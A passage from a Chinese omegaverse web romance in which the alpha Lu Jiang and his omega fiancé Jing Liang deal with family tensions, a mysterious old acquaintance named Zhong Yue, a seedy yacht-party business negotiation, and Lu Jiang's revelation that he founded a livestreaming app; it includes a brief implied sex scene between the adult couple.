因为这份爱与关怀他给了卢绛,所以即使他做错了,他不是好人,也不是那么完美的人,卢绛对他恨不起来,也无法漠视这个父亲的存在。 “你这么心软,怎么在生意场上站稳脚跟?我看你总有一天会被人吃得连骨头都不剩!”卢佑铭无语瞥了他一眼。 “我又不是傻子。” “你不是傻子,你是缺心眼子!” “爸,我有我自己想做的事情,让每一个人坐在他适合的位置才能发挥出才能。” “你不行,那卢羡能行?”卢佑铭一脸鄙夷之色:“跟他亲妈一个样儿,哼~心眼挺多的,没什么格局。” “从始至终,卢羡没有参与其中。” “他想要你老子的命!” “那也是因为你先抛弃他在先,是你换孩子在先,是你对不起你老婆在先,有因才有果!这些年卢羡过的什么生活您有去了解过吗?您知道他为什么那么恨你吗?爸,我不想说破这些的,人这一生不能全部由着自己性子来,您就真的一点也不顾别人的感受吗?” 卢佑铭被怼得哑口无言,直到卢绛愤愤转身离去,卢佑铭这才回过神来,转头问向乔秘书:“我这是被我儿子教训了?” “呃,其实,卢少说的也有几分道。” 卢佑铭沉默了。 听到开门声,景凉放下手机抬头看向:“吃饭了?” “气饱了。”卢绛跟只河豚似的扑到床上,顾涌着爬到了景凉身边。 景凉安抚地揉着他的头发:“那是跟你爸吵架了?” “我爸那人是有够绝情的。” 景凉垂下眸子说了句:“但是,经过这些事情来看,他倒是十分重视你。这对你来说,是好事。” 卢绛躺到了他的腿上,眼神有些迷茫:“所以说,什么是好人,什么坏人?他对我好,在我看来就是好人。他对卢羡很坏,所以卢羡恨他,他是坏人。” “可我不能心安得的接受他这份好意,这会对卢羡更加不公平。” 景凉轻捏着他的肉乎乎的耳垂,想了想说道:“那就用你的方式去对卢羡好,不用寄望于别人,毕竟我觉得以卢佑铭先生这种性格,他对卢羡是没什么同情心和感情的。” 卢绛翻身而起:“你说得对,我得帮他,让他重新振作,重新热爱生活,找到自己的人生目标和方向!” 景凉看他干劲十足,不由笑出声,“你真是……掉落人间的天使。” 纯洁、善良、坚韧得让人心疼。 “去做你想做的,你身后是我。”景凉温柔的低头亲吻了他的鼻尖。 卢绛看着他的眸光如星辰一般闪烁,“凉哥,有你真好。” 第105章 第105章 我会哄着你 “好啦~别难受了。”景凉梳着他额头的碎发, 就没见过哪个alpha会这么爱撒娇的,但他撒起娇来,别说他了,就是神仙也难抵。 “我们结婚渡蜜月, 去哪里比较好呢?是出国还是在国内游?” “还是在国内吧。” 卢绛失笑, 他知道,景凉除了出差会出国, 其余的时间呆在国内, 能及时处公司里的一些紧急文件及情况。 “那好吧, 我听你的安排。” 两人在房间没腻歪多久, 保姆过来敲门喊他们吃饭。 卢绛连这几步都是牵着手,走到他老父亲面前的。 卢佑铭嫌弃的瞥了眼儿子,瞧他那便宜的样子! 景凉微笑自若地与卢佑铭打了一声招呼:“卢董,好久不见, 前段时间听闻您的死讯我还感慨了很久, 现在看您好好的坐在我对面吃饭,哎, 命运真是奇妙!” “凉哥, 你坐这儿。”说着替他拉开了椅子,待他坐下后, 自己才坐到了他身边。 卢佑铭连景凉一起嫌弃, “吃饭就吃饭, 你说这些不吉利的话做什么?” “是, 是我不懂事了, 扫了卢董的兴。”景凉笑了声,看他不悦的样子,心情不错的开始吃饭。 卢佑铭暗地里白眼都要翻上了天, 这个狐狸精!也是他儿子不争气,落在人手心里,圆的瘪的还心甘情愿任人家搓。 找了这么个长刺的过门,以后他们姓卢的能有什么好日子过? 三人在一起不咸不淡的吃了个饭,吃完坐沙发里,闲聊了半小时。 卢绛看他两不怎么对付,就提前站起身结束了话题,“爸,时间不早了,我和凉哥先走了。明天一个要上班,一个要上学呢!” 卢佑铭驱动着轮椅,滑到了门口送客,巴不得景凉快点走,说上十句话,有九句他不爱听。 “说得是,都这么晚了,快些走吧。” “那卢董,再见。” “你……”卢佑铭欲言又止,透过玻璃窗看着他们的车走远,这才不满的报怨了句:“都是要过门的人了,还卢董卢董的叫!啊?!一声爸爸是不会叫,还是故意惹我不高兴?” 乔秘书着最近公司的财务情况,给他泡了杯参杯,安慰道:“卢总别放心上,现在的年轻人都这样,有的过了门都是叫叔叔呢!” “一点规矩都没有。” “他们年轻人有年轻人的生活方式,卢总就别操这个心了。” “我也不是想管他们,这多不像话啊!一个omega到现在都没生孩子,再过几年要孩子不是更难了?” 乔秘书哭笑不得,也不好再接茬。 他们卢总也不能免俗啊,孩子一成家就爱操心这些个,跟他们家那两老宝贝一样。 回去的车上,卢绛有些不安的偷看向景凉。 偷看被抓包。 “干嘛呢?偷感这么重。” “那什么……” “哪什么?” “我爸说的那些话,你别跟他一般见识。” 景凉不在意笑了声:“你只担心我生气,不担心你爸被我气到?” “你是客啊,你去做客他还说那些话,是他不懂事。” “我没有不高兴,我就想跟他绊嘴惹他生气,卢董那人生气挺有意思的。” “啊?” “你不懂。” 好吧,他是真的不懂,这其中乐趣到底在哪里! * 次日正午,卢绛出校门去买咖啡,一抬头便看到送咖啡的服务员竟是卢羡! “哥,你在这儿做服务员?” 卢羡看到他也有点意外,将咖啡送到了他面前,“打份零工,赚个生活费而己。” 卢绛心里一阵难受:“你不考大学了?” “考什么考啊?我连高中都没念,大学?”卢羡嘲讽一笑:“别开玩笑了。” 如果不是发生那些事情,他两现在应该是调换位置和身份,“那你现在住哪里?” “我找了另一份包吃包住的工作,有员工宿舍。” “哦……”卢绛还想拉他聊些什么,但明显卢羡并不想与他再多说。 “我还有工作,不陪你了。” “好,那你去忙吧。”白天能打零工,那另一份工作是在晚上? 到了放学,卢羡经过他的咖啡店,看到卢羡正在做扫尾工作,准备下班。 “你怎么又来了?” “哥,我们聊聊?” “我们之间,好像没什么好聊的。” “我只想帮你。” 卢羡只觉好笑:“如果你真想帮,那就彻底的滚出我的世界,你以为你和卢佑铭有多少区别?在我眼里,你们才是父子,都很恶心!” 最后那句话,刺到了卢绛的心里,他有着深深的无力感:“那好吧,我的手机号码你还保存了吗?有事一定要记得联系我。” 他怕卢羡把他的号码删除了,拿了纸笔重新写下了自己的号码递给了他。 “有事一定要记得联系,不要怕麻烦。”说着鼓励的拍了下他的肩膀,转身走了。 待他走后,好事的小店员凑上前问道:“那是你弟弟呀?他好帅啊!你们兄弟俩都长得跟明星一样!” 卢羡将便签揉成纸团举起手正要扔进垃圾桶,犹豫了几秒之后,又随意揣进了自己的口袋。 “我先下班了。” “好的。”店员目送他离开,不由松了口气,帅是帅的,就是太冷漠了。 虽然离婚期还有大半年的时间,但是卢绛已经开始看起了场地,他觉得好的场地先记下,一个星期,连看了四个场地。 最满意的是某家五星级酒店,前面的草坪够大,里面的大厅也足够宽敞气派,开放式的环形设计,很适合举行观看仪式。 卢绛将几个场地的照片一一拿给景凉看。 他的拍照技术很好,能让景凉一眼看到各场地的特点和氛围感。 “渡假村会不会好玩一点?包下来闹他个一天一夜,娱乐项目也多,你说呢?” “渡假村离市区比较远,开车需要一个多小时,有些会不会觉得不方便?” “大不了派车去接送啊,也没什么麻烦。” 见他很喜欢,卢绛便立马订下来了:“好,那就这个渡假村吧。” “这就订下来了?” “我感觉你挺喜欢的。”卢绛温柔的笑看着他:“如果你还有别的想法,可以缓缓,反正时间还很充足,我再多去看几个场地。” 正在说什么,卢绛的手机响了,他看了眼信息,笑容僵在脸上,竟然是钟悦? 他给他发消息做什么? 自那次之后,他们已经很久没有联系了。 “在看什么?” 卢绛吓了一跳,还记得他之前就是因为他不小心染上钟悦的桃花味信息素,他生了好大的气。 “嗯……那个。” “嗯?”吞吞吐吐的,一看就有鬼。 景凉不由一脸严肃,“你不会背着我干什么坏事吧?” 卢绛跟踩到尾巴的猫似的,差点炸毛:“我不是这种人,你看吧。” 说着将手机递给了景凉。 景凉看到钟悦发来的短信,微眯起了眼,冷冽的气息更盛,似乎能化成刀将人戳死。 “你还保存着呢?”他往上翻了翻,倒也没什么,许久不联系了,也不知道这小妖精突然找上卢绛是想干嘛。 “我留着他没有别的意思,真的!”其实钟悦这个人不会让人觉得讨厌,没必要去拉黑他,就是没事不联系而己。 “那你就去见呗。”景凉微笑着将手机塞回了卢绛手里。 卢绛深度怀疑他在说反话,以他对景凉的了解。 “要不我们两个一起去?” “我才不去。”景凉起身去厨房倒了杯水,“人家要见的是你,指不定是有什么小秘密要跟你说,我跟去了他还怎么跟你说自己的小秘密?” 卢绛靠在沙发里长叹了口气:“凉哥,你是不是吃醋了?” “我吃什么醋?”语落,冷哼了声,闷在厨房里将钢化杯捏得呲呲响。 卢绛起身走到了厨房门边,见他脸色很难看,便上前抱了抱他。 景凉被他抱在怀里,心里的不安与酸意便渐渐退去,又开始反省起自己的反应过激。 “我这人,就是心眼比针尖还小,眼里容不下沙子,我知道你跟他没什么,但我控制不住会……会生气,其实你不用我。” “我会哄你的,别生气了?” 景凉的嘴角忍不住翘起,“你还想哄我?” “你也经常哄我啊!”卢绛亲昵的贴着他,将下巴搁在他肩膀上,蹭来蹭去:“反正我凉哥是世界上最好的,除了你,我谁也不要!我只爱你一个,永远。” “好肉麻!”景凉嘴里虽嫌弃,但心里却是甜滋滋的,卢绛最大的忧点,就是嘴甜得很,遇到这种情况会先拉下脸来沟通,也会放下身段来哄他。 这一点,别说像他这样的alpha,就是绝大部分的普通人都做不到。 “肉麻吗?”卢绛没觉得,他好像也经常说,于是他得出一个结论:“那是我说得还不够多,凉哥你听着才会觉得肉麻,等我以后每天说十七八遍,你听习惯就好了。” 两人因愉悦的心情,不由自主释放出彼此的信息素,卢绛低头或轻或重的反复咬着他的后颈,却又极小心的不弄疼他。 景凉几乎要站不住,整个身体的重量全靠在了卢绛的怀里,之前整齐还没来得及换的西装已经凌乱,衬衣的扣子被解开了第三颗。 卢绛宽大的手掌顺着他的肌肉线条狎亵玩弄,景凉的唇齿间无意识溢出的轻吟声犹如上好的催忄青剂。 感觉到他的指尖轻刺撩动,景凉仿佛受到了莫大的刺激,低喘了声,扣过了身后动作的那只手,“别在这里。” “可是这里一直在出水……”卢绛双眸迷离,已经等不及回卧室,动作不算温柔地将他压向厨柜,与他的omega连接在了一起。 第106章 第106章 不怎么美好,忘了也是另一…… 昨日被alpha折腾到半夜, 景凉破玩荒地睡了个懒觉。 直到电话铃声将他吵醒,他才迷糊接了电话。 “阿凉,怎么今天还没来公司上班,是发生什么事了吗?” 周洲? 哦对, 他已经来公司上班了, 景凉深吸了口气,慵懒地翻了身:“睡过头了。” “哈?”周洲以为自己听错了, 他从大学就认识他了, 他从来就没有睡过头的一天。 好半晌, 周洲长反应过来:“你家那个alpha是不是有点过份了?” 景凉得意笑了出来:“是有点过份。” 周洲无奈叹息了声:“我的天哪, 我们的景总已经不是过去的景总了。” 景凉:“你先帮我看着公司,重要的文件了,我正午过来再签。” “没事,反正今天也没什么特别重要的事情, 就是有件事情, 昨天过去南城和豆奶直播的合作没有谈拢。” “豆奶?什么搞笑的名字?” “是去年年底刚做起来的一个多功能媒体app,全民主播签约平台, 现在全在搞直播带货, 特别火的。” “哦……” “才一年多的时间,发展成市值五十多亿的规模, 你知道有多吓人吗?” “那确实让人眼热。” “现在已经好多跟风在做电子直播带货, 咱们也得跟上潮流不是?如今实体商品的销售量是一年不如一年, 更夸张的是, 有些一年卖货都抵不过一晚直播带货的销量。” “那边是因为什么原因没谈拢?” “他们要的提成太高了, 我们虽然有利可图,但是……我觉得有点亏。” “等等……豆奶?好熟悉,我好像在哪听过?”景凉脑子里突然灵光一闪。 “嗯?可能是之前无意刷到过?” 此时景凉已经完全没了睡意, “我先起床,回头到了公司再说。” “嗯,好,那正午等你过来,我吃你一起吃个饭。” 挂断电话,景凉缓缓从床上坐起,腰酸得简直要命! “凉哥,你起来了吗?” “你怎么还在家?” 浴室里传来景凉含糊的声音,正在刷着牙。 “我请假啦!” “刚上几天学就请假?” “我都算好学生了,前几天几乎每门课都准时准点的报到。” “是是是,你最乖了。” “等下你要去公司?” “嗯,我去公司吃午饭。” “我也去。” “怎么,不去见那个桃花味的omega了?” 卢绛坐在床沿拿过手机翻看着最近的财经报道:“我能去吗?” “去啊!看看他找你想干嘛。” “你不生气?” “我现在不生气了,你不是哄我了吗?” 卢绛觉得钟悦不是没事会找上来的人,“那我真的去见他了?” “你去就是了,我说了我不生气。” 说着,景凉已经洗漱完走出了浴室,卢绛还以为他会过来亲自己一下,没想到转身走去了衣帽间。 卢绛失落的跟到了衣帽间,盯着他换衣服。 景凉便脱了大方让他看,镜子里人四肢修长,骨胳匀称,宽肩窄腰,肌肉线条流畅而紧实。如白玉的肌肤上布满了暧昧的吻痕。 特别是后颈,都是浅浅的牙印。 他一边往身上套衣服一边调侃了句:“谁家养的狗狗,这么爱咬人!” 卢绛得意一笑:“那得问你呀。” 景凉挑了件黑色高领修身羊毛衫,亚麻色休闲西裤,衬得他整个越发清冷高贵。 最后挑了块金链腕表戴上,这才上前搂过alpha的脖子,仰着脸满是笑意与宠溺地看他:“要出门了,吻我一下。” 卢绛当然乐意至极,他等这个吻都等了一上午,他极尽温存缠绵的吻上景凉的唇,只是浅浅的,不带多少欲望。 足有一分钟,两人才恋恋不舍的分开。 “还是要吃点东西再去公司的,离正午吃饭,不是还早吗?你早上也没来得及起来吃早饭。” “年纪轻轻,就这么爱操心了?” “那我是因为谁?” 在卢绛的监督下,景凉吃了个上午茶,便去了公司。 卢绛看了眼时间,回了钟悦的信息,请他出来吃饭。 钟悦是秒回的,仿佛是一直拿着手机在等他回信息,这种认知让卢绛感觉有点别扭。 若说钟悦对他有意思,还真不至于,两人之前也没什么交集,这么久才突然联系一次,他要真对自己有意思,那不是早就…… 那到底是什么情况? * 卢绛赶到与他约好的餐厅时,发现他已经到了。 为了避嫌,卢绛订的大厅靠窗的位置,钟悦看起来有些局促不安的坐在那里,白得像是一团雪,低垂下来的浓密睫毛在微微颤抖,十指紧扣,出卖了他强装出来的镇定。 “钟悦。” 头顶传来低沉清澈的嗓音让钟悦身子跟着颤了下,他猛地抬头看向卢绛,呼吸微窒。 “你来了。” 卢绛拉开了椅子,坐在了他对面,叫来了服务员。 “点菜了吗?” “没,还没有,你喜欢吃什么?”钟悦琉璃似的大眼紧紧盯着他,似乎不愿放过卢绛脸上任何一个细微的表情。 卢绛怔愣了下:“就点你喜欢吃的好了,要是拿不定主意,让他们推荐几个店里的招牌菜就行。” “好,就招牌菜吧。” 卢绛将菜单还给服务员:“就照这位先生说的办。” 等上菜的这段时间彼此有些尴尬,毕竟不熟,话也不多。 “那个……你是叫卢绛对吧?” “啊??”卢绛惊诧:“我是啊,不然还能有别的名字?” “卢绛,我们以前是不是在哪里见过?你还记得吗?” “不可能,这是我们第二次见面,我很肯定,我们以前一定没见过,”卢绛顿了顿,又补了句:“但凡只要是我见过的人,就会有印象,这也算是我的特长之一吧!” 听到这句话,钟悦脸上难掩的失望之色:“嗯……我在五年前,发过一场高烧,过去的事情暂时都忘了,可是最近我渐渐想了起来。” 卢绛拆分解析他这句话的意思,问他:“那些记忆跟我有关?” 不会吧?难道是之前的卢绛招惹过他?五年前……都没成年,怎么招惹?初恋?还是许下过什么混帐承诺? “第一次见你的时候,我就觉得有一种熟悉感,原来不是错觉。”钟离说这句话时,都要哭了的感觉。 “能再见到你,看到你过得这么好,我心里替你高兴。” 卢绛看着他,脆弱得好像一碰就会碎掉,晶莹的泪珠从他眼眶滴落,让人不忍心。 此时已经有许多人注意到了他们,甚至还有人拿手机偷拍。 卢绛还是找服务员换了一个小包间,相比被偷拍发到网上,避嫌倒显得其次了。 钟悦太过招眼,他这么一哭,许多人都想要过来朝他兴师问罪,以为他怎么人家了。 钟悦中途去了一趟洗手间,回到包间时,菜都已经上齐了。 眼睛红红的,看样子是好好哭过。 卢绛心里一阵不是滋味,“你还好吗?” “嗯,我没事,吃饭吧,都这个时间了,你一定饿了吧?” 两人默默的吃着饭,卢绛吃得很拘谨,钟悦吃得就更少了。 放下筷子时,桌上的菜都没怎么动。 卢绛让服务员上了一壶茶,给钟悦倒上后,又给自己倒了杯。 “喝杯热茶,缓一缓心情。” 听到这句话,钟悦浅浅笑了声:“你还是这样温柔。” 卢绛一阵心梗,“呃,我……” “我听说,你已经订婚了?” “啊,是……他叫景凉。” “我听说过他,以前参加一些商业聚会,也远远见过他几面,是一个十分优秀的omega。” 卢绛听到景凉被人夸赞,比夸赞他自己还要高兴,嘴角抑制不住上扬,“对,他很优秀,也是个工作狂,我很爱他。” 钟悦的泪水再次上涌,惹得卢绛莫名一阵愧疚,慌忙拿了抽纸给他擦眼泪。 钟悦默默擦掉了泪水,抽了口气:“要是以后有机会,一起吃个饭吧?我能去参加你们的婚礼吗?” “要是你想来的话,到时候我给你发电子请贴。” “好,我想来……看你的婚礼。” 卢绛心里更难受了,“我能问一问,你是想起了关于我的什么记忆吗?方便说吗?” 钟悦脸色越发苍白,默了许久,却只是摇摇头,挤出一个凄然的笑:“不怎么美好,忘了也是另一种福气。” 卢绛本想再安慰他两句,却见他果断起身,朝他笑得很悲伤:“祝你幸福,再见。” “好,再见。”卢绛目送他离开,长长舒了口气,买完单后,他骑车去了学校,上午的课没上,下午有两节课得上齐,还想着早点修完学分毕业呢! 最后一节课,老师拖堂了,快六点才放他们下课,卢绛骑着车,迎着微凉的晚风,不由想起今天与钟悦见面的一些画面,总觉得哪里怪怪的! 回到家里,阿姨看到他回来,便催着他去洗手,准备吃饭。 “阿姨,凉哥在房间还是在书房?” “小先生现在应该在书房里,刚才还看到他跟别人视频电话来着。” “哦,我去叫他。”将背包放到沙发上,卢绛走到书房前,悄悄拧开门把,看到他正坐在书桌前,还在打电话,好像在跟别人讨论着分成占比。 讨论了许久无果,卢绛站在门口看到他微微蹙起了眉,内心已经不耐烦了,但还在智微笑。 看样子应该快挂了。 果然,他话锋一转:“刘总,很抱歉,我这边要吃晚饭了,看来这一时半会讨论不出什么结果,那改天再论?好好好,再见。” 挂断电话,景凉没好气丢开了手机,扭头看向站在门口的卢绛。 “过来,让我抱一抱,我的心要累死了。” 卢绛笑着跑过去将他一把抱进了怀里,跟小鸡啄米似的亲着他的发顶。 “别亲了,糊我一头口水。” “才没有,哪个亲头顶要伸舌头亲?” 第107章 第107章 钟悦要订婚了! 见他们许久没出来, 阿姨知道这对小情人肯定又是躲在哪里腻歪了,但饭还是要及时吃的呀。 “小先生,卢少,快过来吃饭啦!”阿姨喊了声。 景凉将他推开:“别闹, 先去吃饭, 你肚子不饿?” 卢绛像只大型的无尾熊黏在他背上,“那你背我走。” 景凉看似一脸嫌弃, 眼里却满是宠溺:“你重死了, 正常走路, 你想压死我?” 卢绛只是想跟他玩儿, 哪舍得真让他背自己,赶紧起了身,牵着他走向大厅的餐桌。 快吃完时,景凉抬眸打量着他, 见他没有意识要说什么, 不由轻咳了下嗓门,“你今天去见钟悦了?” “是啊, 去见了, 和他一起吃了午饭,也没聊什么, 我就去学校了。” “真没聊什么?” 卢绛仔细想了想, “他说话很奇怪, 我听得不是很明白, 他问我记不记得以前的事情?还说要来参加我们的婚礼, 我觉得有两种可能。” “哪两种?”景凉早已吃好,靠着椅子抱臂一脸严肃。 “一种是他认错人了,另一种是之前的卢绛与他有过交集, 但是五年前,十五岁,他好像大我两岁,那就是他十七岁……能有什么交集啊?” 景凉心里有些不痛快,明显表现在了脸上,但是却什么也没说。 这种事情又不是卢绛的错,就是心里膈应。 “明天是双休日,我今晚要出去逛吗?” “哦,对了,明天我有个游轮派对需要去参加,你要跟我一起去吗?” “游轮派对?”卢绛并不想参加这种聚会,但是他也不放心景凉一个人过去。 景凉深知他的性子,也不是第一天不喜欢这种场合,便道:“不想去你就留在家里,我和周洲一起过去。” “可以吗?” “有什么不可以的?这样的聚会社会是很正常的。”他已经习惯了。 “那我还是陪你一起去吧。”以前景凉没有他,会什么事都只能自己一个人抗,但是现在已经有他了,他想和他一起。 景凉心里不由淌过一阵暖意,知道他大概是不放心自己一个人去,“小小年纪,真爱操心。” “你也没有比我大几岁。”卢绛嘀咕着。 第二天晚上,司机去接了周洲一起,看到后座里的卢绛,周洲不由失笑:“哟,现在你们俩是夫唱夫随了吗?” 卢绛朝周洲点了下头,算是打了招呼。 景凉笑道:“连你老板现在也敢打趣了?” 周洲:“是是是,对不起了老板,是我不懂事。” 该说不说,这两人看起来越发的登对了,穿着同款西装,配对的领夹,两人气氛融洽,一看就能看出来是已经永久标记的AO情侣。 “你们婚礼定了吗?”周洲坐在副驾驶座,突然想起,才问了声。 “定了,我和阿绛决定明年暑假在渡假山庄举行婚礼,到时候让你给我们当伴郎。” “那我可狠狠期待住了。” 周洲真替他感到高兴,能找到自己中意的alpha,这个alpha很爱他。 来到渡口的一艘大型游轮上,里面奢靡至极,没个好几千万是办不下来的。 “这手笔,是有点阔绰。”周洲不由感叹了声。 不止有网红,还有很多脸熟的三四线小明星,玩得特别开。 卢绛不由疑惑:“这是什么性质的派对?”他突然有点害怕,想回家了。 景凉也是来了才知道,“好像还真不是什么正经的商业派对。” 周洲:“那要不要溜?” 卢绛无声且用力的点头,溜了溜了! 正当他们要走时,一个穿得像只大公鸡,把头发染得五颜六色的男人将景凉拦了下来。 “景总?” “你是……”那人朝他递出手:“豆奶新媒的市场部经,刘义守。” “哦~是你啊!”之前在电话里有谈过合作项目,但一直没谈拢,也没有拒绝,突然邀请了他参加这个游轮派对,“幸会。” 刘义守看了眼他身后的alpha,眼睛都直了,“我的妈呀,这是哪里找来的男模?有没有兴趣签约我们公司做直播当网络明星啊?你这样的颜值,肯定能爆红的!” “他是我未婚夫。” “哦……”刘义守贪婪的盯着卢绛:“小伙子,有没有兴趣签约我们平台啊?” 卢绛无语的看了眼群魔乱舞的现场,短短半年,正经签约的直播艺人,已经走向歪门邪道了么? 刘义守请他们走进了里面,找了一处U形沙发坐了下来。 “小景总,走一个!” 景凉漫不经心的拿起酒杯,轻啜了口。 整个过程卢绛紧紧盯着,不想让他多喝。 “来来来,小伙子,你也喝!” 卢绛冷冽的眸子瞪了刘义守一眼:“不喝!” 刘义守嘴角抽搐了下,这大帅哥不通人情世故啊!好看是真好看,要真把人签过来,可是新的摇钱树。 那刘义守看卢绛的眼神让景凉生气,就差点没控制将手里的酒泼他脸上,那眼神恨不得将人吞了,满是狡猾与算计。 “刘总,之前我们谈的合作,百分之四十五的提成能不能再降一些?” “为什么要拿百分之四十五的提成?”卢绛一脸吃惊。 景凉无奈轻应了声,现在商场里的销售额逐年减递,今年为了节约成本,已经关掉了国内好几家连锁店。 网购是个大趋势,他们得趁机抓住这个机会,才能将公司盘活下去。 大厦倾倒也不过一息之间,世易时移,做生意总得抓住风口。 眼看刘义守又要给景凉倒酒,卢绛将酒杯从景凉手边挪开,“他也不喝。” 刘义守之前看他长着一张漂亮脸蛋上,不跟他计较,谁诚想登鼻子上脸了嘿! “景总,你家这个没调教好怎么就带出来了?这场合可挺扫兴的。” 景凉暗抽了口气:“刘总,百分之三十五的提成,是我们能让出的最大的利,其实现在也已经有很多平台在做电商直播了,不一定得找你们合作。” 刘义守一脸得意:“你说得对,那些小平台咱们想让它活就让它活,要是我们boss心眼子小一点,不想让它活,那也活不了,景总要是觉得咱们要得太多,尽管去找别的平台,没有人拦着。” “我心眼子没这么小。”卢绛突然说了句。 刘义守白了他一眼:“谁管你了?”小白脸儿认不清自己的定位! 突然卢绛拉起了景凉,“走吧,我想回家了。” 景凉也没了心思再跟他们谈合作,点了下头:“嗯,回家。” 刘义守嘲讽笑了声:“就你们这样能谈成什么生意,这世道有钱才是大佬,你们等着吧,现在百分之四十五不答应,等到百分之五十来跪求合作,只怕也没有机会了!” 卢绛无语的看着他一副运筹帷幄,架着腿在沙发上的装逼样,只说:“你收拾收拾,回老家喝西北风吧。” 走出游轮,周洲破口大骂:“什么玩意儿?这种人都能成功?一个晚上怒赚一个亿??我的天哪,都些什么人啊?!这世道变了。” 景凉:“他们能成功,自然是有可取之处,这也是未来的一种商业模式,只是我们应该早做打算。” “那个……”卢绛想解释什么,却又不知道该怎么说才好。 “嗯?” “卢少有什么高见?” “凉哥,你不记得了,我以前也用过这个。” “哪个?” “我之前用豆奶记录日常生活,你不上还点赞了吗?后来粉丝太烦人,我把号屏蔽了。” “啊!”景凉惊叹了声,想起来了:“你现在那上面,多少粉丝了?” “几百万还是千万?我忘了,已经很久没登。” “咱们可以利用你那个号,帮我推一下公司里的新品,怎么样?” “我做直播吗?” “放心,就是试穿一下。” “不是,我不是要说这个……” 还未等卢绛说完,周洲灵感大发,拉着景凉往前走,边走边设想着:“我觉得可行的!在公司里弄一间直播室,就线上卖新品,连模特都是现成的,我觉得你和卢少就挺好!反正我们的服装设计都是比较中性化的,以舒适、家居、大方为主。” “你让策划部先写个策划案……” 豆奶app步向正轨之后,卢绛已经很久没有管过公司的事情。 他找到自己的企业邮箱帐号,发了一封解聘邮件,决定之后还是要整顿管一下公司整体的风气。 既然现在各方面都已经成熟了,也可以好好利用平台,给景凉的公司做做推广。 之前发生了太多事,回来又忙着继续上学,他竟然把这茬给忘了。 “别玩手机了,快上车。”景凉站在车边朝他喊了声。 “哦,来了。”卢绛小跑着跟了上去。 “你坐前面去,我跟周洲商量些工作上的事情。” 卢绛有点失落的轻应了声,坐到了副驾驶。 十点到了家里,卢绛紧跟着景凉身后,一直来到书房。 “我今晚加个班,有些新想法,一下思路,你去休息吧。” “凉哥,其实那个豆奶app是我弄的,我在大一的时候找霍临一起开发的,所以你想找合作,直接跟我说就可以了。” 景凉怔愣了原地,以为自己误听:“你说你是豆奶的什么?” “我的,找人一起开发的……我不是有意瞒着你的,当时做的时候,也没有想过能真的做起来,因为风险和利益是并存的,后来有些起色因为我自己这边的家事,所以一直没怎么管过,真的不是要瞒着你的。” “居然是你的?!”景凉已经无法用震惊来形容现在的心情了,还夹杂着自豪与惊喜,“我的天哪!” “凉哥?” “宝贝,你可太厉害了!”景凉激动的捧着他的脸掂起脚尖狠亲了他两口。 “嗯……也没有你说的那么厉害,就是运气好一点。” “要运气,但也是实力。”景凉还是十分震撼,他简直想把这个消息告诉所有人,他的alpha竟然悄悄的变成了首富中的首富,以这样的实力已经能为所欲为了,而他还在认真上学。 真是好学生。 “你们公司的运营想要怎么弄,我让他们都尽量配合你,但是,我直播的事情……”如果他非要用自己的那个号给景凉公司带货,也不是不行。 他应该会很开心,而且他本身就具有话题性,只要一开播,根本不需要刻意去引流,对于这点,卢绛还是有信心的。 “先试试行不行?我觉得你可以的。” 迎着景凉期待的眼神,卢绛渐渐迷失了自己:“好,可以的,没问题。” 景凉笑得很开心,卢绛很少看到他能这样笑,发展工司,努力工作,赚很多钱,能让景凉开心。 那他会努力让他都一直这么开心。 卢绛那个自己锁掉的账号在当天晚上将权限放开了,权限放开不到十分钟就有人关注。 【妈呀,我看到了谁?豆奶的网红祖师爷,他出关了!】 【恭迎祖师爷!】 【恭迎祖师爷!楼下注意队形。】 【恭迎祖师爷!】 【恭迎祖师爷!】 …… 卢绛点开评论,看着满屏的【恭迎祖师爷】简直晕了,这群网友要不要这么沙雕啊? 【卢绛:别再刷屏,烦死。】 【祖师爷是活的!】 【活的。】 【活的+1。】 【活的+10086。】 …… 【卢绛:你才死的。】 和谐氛围没半小时,黑粉突然从四面八方而来。 【我kao,打着帝都首富之子的身份又出来骗吃骗喝了!网络乞丐就是这种人。】 【我说他怎么不敢露脸,原来是冒充别人的身份,他敢骗,网友居然也敢信,智商为O。】 【666,编个高级假身份就能吸粉千万,平台不管管吗?!】 【当初主播好像没说自己是卢绛吧?】 【哈哈,谁信呢?他这个号不就是靠假身份吸粉吗?】 【卢绛:啊对对对,我是你爸这个身份要藏不住了。】 【你这主播怎么一点素质都没有呢?点举报了!】 【卢绛:你都没素质这东西,爸爸怎么跟你讲素质?】 【主播怎么突然把账号放权限了?是要直播了吗?】 【现在平台签约主播这么赚钱,他眼红了呗,正好有一千多万傻子粉丝呢!】 【一千多万粉丝,真的好多啊!不愧是平台祖师爷。】 【算是平台头部顶级大主播了吧?】 【平台会跪着求签吗?】 【一千多万不知道有多少水份,买粉,懂不懂?都是些没用的数据,骗骗那些冤大头商家而己。】 【哇,有些张嘴就来,说人家买粉有什么证据吗?】 【说别人买粉数据做假的赶紧去举报吧!笑死,你也刷个一千万粉丝啊!】 又是吵了一百多条。 【卢绛:后天晚上八点,我会开直播,不见不散。】 留完这条,卢绛就退出了app。 太好了,世界终于清静了,空气也感觉清新了很多。 身心放松躺下继续刷一刷今天的当地热点新闻,此时景凉已经洗好澡从浴室走了出来。 他的小alpha还在玩手机。 景凉爬上床从背后抱住了他,用力吸着他的脖子,信息素淡淡的。 “在看什么?” 卢绛转过身与他面对面贴贴,将下巴抵在他的头顶上,手脚并用,把他整个圈进了怀里。 突然卢绛怔愣了会儿,反复将那条新闻刷了好几遍,“钟悦要订婚了!” 从他嘴里吐出别的omega的名字,都让景凉心里不舒服,他过份的占有与嫉妒,没有在卢绛面前表现出来,只是装作讶然:“是么?他订婚不是很正常吗?” 卢绛沉浸在钟悦突然要订婚的震惊中,没察觉景凉情绪的低落与语气中突然的冷漠。 “确实是很正常,不过总觉得太突然了。”估计是两家商业联姻,特别是世家里的omega,根本没有自由选择的权利。 “你这么关心他?” “我没有关心他,我只是有点八卦。” “哦……” 卢绛渐渐察觉到了景凉低落的心情,放下了手机,双眼只专注的看着他,景凉被他盯得心脏犹如小鹿在撞,“这么看着我干嘛?” “你别躲,”说着卢绛强势的捧起他的脸,让他直视着自己,眸光热烈:“我、爱、你。” 景凉呼吸一窒,羞耻得浑身躁热,没想到他也会有这么一天。 “凉哥,我说我爱你,我爱你……你怎么不看我?” “我不好意思。” “你也说,你爱我。” 景凉抬起手臂遮住了双眼,嘴角噙着笑意:“我爱你,行了吧?” “太敷衍了,你要看着我的眼睛说我、爱、你。” “这太幼稚了,别闹!” “不行!”卢绛缠着他不放,“你不说,那我以后也不说了。” “你能忍住不说?” “我忍不住……”卢绛一脸委屈,“你是不是不喜欢我了?” 